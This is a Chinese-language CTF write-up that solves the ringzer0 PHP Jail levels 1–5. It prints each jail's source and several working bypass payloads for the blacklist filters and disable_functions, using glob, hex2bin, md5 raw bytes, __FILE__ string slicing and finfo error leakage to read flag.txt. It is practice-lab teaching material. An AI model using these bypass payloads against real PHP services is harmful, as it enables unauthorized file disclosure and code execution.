最近打了ringzer0 CTF PHPJail挑战,题目非常有趣考察PHP的特性以及绕过奇淫技巧,下面是对PHPJail的多解分析
PHP Jail1
源码
<?php
array_shift($_SERVER['argv']);
$var = implode(" ", $_SERVER['argv']);
if($var == null) die("PHP Jail need an argument\n");
function filter($var) {
if(preg_match('/(`|open|exec|pass|system|\$|\/)/i', $var)) {
return false;
}
return true;
}
if(filter($var)) {
eval($var);
echo "Command executed";
} else {
echo "Restricted characters has been used";
}
echo "\n";
?>
限制了一些命令执行函数但是可以读文件
echo(file_get_contents('flag.txt'));
PHP Jail2
<?php
array_shift($_SERVER['argv']);
$var = implode(" ", $_SERVER['argv']);
if($var == null) die("PHP Jail need an argument\n");
function filter($var) {
if(preg_match('/(\/|a|c|s|require|include|flag|eval|file)/i', $var)) {
return false;
}
return true;
}
if(filter($var)) {
eval($var);
echo "Command executed";
} else {
echo "Restricted characters has been used";
}
echo "\n";
?>
发现过滤了字母s
不能使用file_get_contents
,过滤了c
不能使用include_once
和require_once
可以用反引号来执行more
命令
print `more *`
或者我们可以用popen函数打开一个vim来读文件
popen('vim',w);
r flag.txt
PHP Jail3
源码
<?php
array_shift($_SERVER['argv']);
$var = implode(" ", $_SERVER['argv']);
if($var == null) die("PHP Jail need an argument\n");
function filter($var) {
if(preg_match('/(`|\.|\$|\/|a|c|s|require|include)/i', $var)) {
return false;
}
return true;
}
if(filter($var)) {
eval($var);
echo "Command executed";
} else {
echo "Restricted characters has been used";
}
echo "\n";
?>
测试发现命令执行函数都被禁用了
使用highlight_file()
,但是flag的字母被过滤了,可以使用glob来绕过
highlight_file(glob("fl*txt")[0]);
或者用编码绕过由于要输入在终端所以需要转义\
highlight_file("\\146\\154\\141\\147\\56\\164\\170\\164");
PHP Jail4
WARNING: the PHP interpreter is launched using php -c php.ini jail.php.
The php.ini file contain "disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,readfile,require,require_once,include,include_once,file"
<?php
array_shift($_SERVER['argv']);
$var = implode(" ", $_SERVER['argv']);
if($var == null) die("PHP Jail need an argument\n");
function filter($var) {
if(preg_match('/(\'|\"|`|\.|\$|\/|a|c|s|require|include)/i', $var)) {
return false;
}
return true;
}
if(filter($var)) {
eval($var);
echo "Command executed";
} else {
echo "Restricted characters has been used";
}
echo "\n";
?>
我们仍可以用glob
配合hightlight_file
读文件的方式由于禁用了引号,可以用hex2bin
绕过
php > print bin2hex('*');
2a
但是出现了字母a
被过滤了
Your input:
highlight_file(glob(hex2bin(0x2a)));
Restricted characters has been used
同时为了防止出现waf的字母,我们可以再套一层hex2bin
php > print bin2hex(bin2hex('*'));
3261
先读取文件名字
Your input:
print_r(glob(hex2bin(hex2bin(3261))));
Array
(
[0] => flag.txt
[1] => jail.php
[2] => php.ini
[3] => prompt.sh
)
在读取文件
highlight_file(glob(hex2bin(hex2bin(3261)))[0]);
方法二
首先,我们需要 & in .a
.
flag.txt
Your input:
print_r(__FILE__);
/home/level4/jail.php(14) : eval()'d codeCommand executed
a
& .
已经在 中,但我们仍然需要将其分开。/home/level4/jail.php``/
Your input:
print_r(getenv(HOME)[0]);
PHP Notice: Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1
/Command executed
我没有找到从 __FILE__
中提取/
的方法,所以我把它改成getenv(HOME)[0]
。
现在,让我们用来解析 & 。
Your input:
print_r(explode(getenv(HOME)[0],__FILE__));
PHP Notice: Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1
Array
(
[0] =>
[1] => home
[2] => level4
[3] => jail.php(14) : eval()'d code
)
Command executed
Your input:
print_r(explode(getenv(HOME)[0],__FILE__)[0]);
PHP Notice: Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1
Command executed
Your input:
print_r(explode(getenv(HOME)[0],__FILE__)[3][1]);
PHP Notice: Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1
aCommand executed
Your input:
print_r(explode(getenv(HOME)[0],__FILE__)[3][4]);
PHP Notice: Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1
.Command executed
explode(getenv(HOME)[0],__FILE__)[0]
使用null``implode()
来连接所有字符。
explode(getenv(HOME)[0],__FILE__)[3][1]
得到 charater :a
explode(getenv(HOME)[0],__FILE__)[3][4]
获取 symbol :.
因此,最终有效负载应为
highlight_file(implode(explode(getenv(HOME)[0],__FILE__)[0], [fl,explode(getenv(HOME)[0],__FILE__)[3][1],g,explode(getenv(HOME)[0],__FILE__)[3][4],t,x,t]));
Your input:
highlight_file(implode(explode(getenv(HOME)[0],__FILE__)[0], [fl,explode(getenv(HOME)[0],__FILE__)[3][1],g,explode(getenv(HOME)[0],__FILE__)[3][4],t,x,t]));
PHP Notice: Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice: Use of undefined constant fl - assumed 'fl' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice: Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice: Use of undefined constant g - assumed 'g' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice: Use of undefined constant HOME - assumed 'HOME' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice: Use of undefined constant t - assumed 't' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice: Use of undefined constant x - assumed 'x' in /home/level4/jail.php(14) : eval()'d code on line 1
PHP Notice: Use of undefined constant t - assumed 't' in /home/level4/jail.php(14) : eval()'d code on line 1
<code><span style="color: #000000">
FLAG-XXXXXX<br /></span>
</code>Command executed
方法三
让我们找到一个具有构造函数的类,该构造函数将 filename 作为参数,并使其返回错误消息 :finfo
类
new finfo(0,glob(hex2bin(hex2bin(3261)))[0]);
Flags (第一个参数)
-
FILEINFO_DEFAULT
(0):默认模式,返回 MIME 类型。 -
FILEINFO_MIME
(2):返回 MIME 类型和编码。 -
FILEINFO_MIME_TYPE
(8):仅返回 MIME 类型。 -
FILEINFO_NONE
(16):返回文件类型,不使用魔术数据库文件。
#### 方法四
我们必须找到一种方法来生成我们选择的字符串,而无需“chr”,因为“c”被禁止。
我使用了“md5”,第二个参数为 1(原始输出)。当我们将数字值作为第一个参数传递时,此函数也可以工作。我们只需要为第一个参数找到一个值,输出包含我们选择的字符。我为此使用了这个小脚本。
for ($i=0; $i<1000; $i++) {
$a = md5($i,1);
if (strpos($a, '*') !== false) {
echo strpos($a, '*') . '<br />';
echo $i . '<br />';
break;
}
}
我发现 md5(39,1)[8] === '*'
。
有了它,我们可以用 glob('*')
链接,它将返回当前目录中的所有文件。然后与 gzfile('flag.txt')
链接,它将返回文件内容的数组。最后 print_r
用于将内容返回给我们。
除了hightlight_file
我们还可以用gzfile
最终有效载荷:
print_r(gzfile(glob(md5(39,1)[8])[0]));`
PHP Jail5
WARNING: the PHP interpreter is launched using php -c php.ini jail.php.
The php.ini file contain "disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,readfile,require,require_once,include,include_once,file"
<?php
array_shift($_SERVER['argv']);
$var = implode(" ", $_SERVER['argv']);
if($var == null) die("PHP Jail need an argument\n");
function filter($var) {
if(preg_match('/(\_|\'|\"|`|\.|\$|\/|a|c|s|z|require|include)/i', $var)) {
return false;
}
return true;
}
if(filter($var)) {
eval($var);
echo "Command executed";
} else {
echo "Restricted characters has been used";
}
echo "\n";
?>
由于禁用了下划线,print_r
highlight_file
等函数不能使用
对于这个 PHP jail,我使用了 PHP 的 finfo 类。
构造函数采用两个参数,第一个是一个掩码,第二个是“魔法数据库文件”。
构造函数将尝试打开并解析那个文件。当我们给他标志文件的路径时,它会失败,但错误消息会给我们标志的内容。
可以使用MD5构造*
或者hex2bin
new finfo(16,glob(md5(39)[8]));
new Finfo(0,glob(hex2bin(hex2bin(3261)))[0]);
结果如下
Your input:
new Finfo(0,glob(hex2bin(hex2bin(3261)))[0]);
PHP Notice: finfo::finfo(): Warning: offset `FLAG-XXXXXX' invalid in /home/level5/jail.php(14) : eval()'d code on line 1
PHP Notice: finfo::finfo(): Warning: type `FLAG-XXXXXX' invalid in /home/level5/jail.php(14) : eval()'d code on line 1
PHP Warning: finfo::finfo(): Failed to load magic database at '/home/level5/flag.txt'. in /home/level5/jail.php(14) : eval()'d code on line 1
Command executed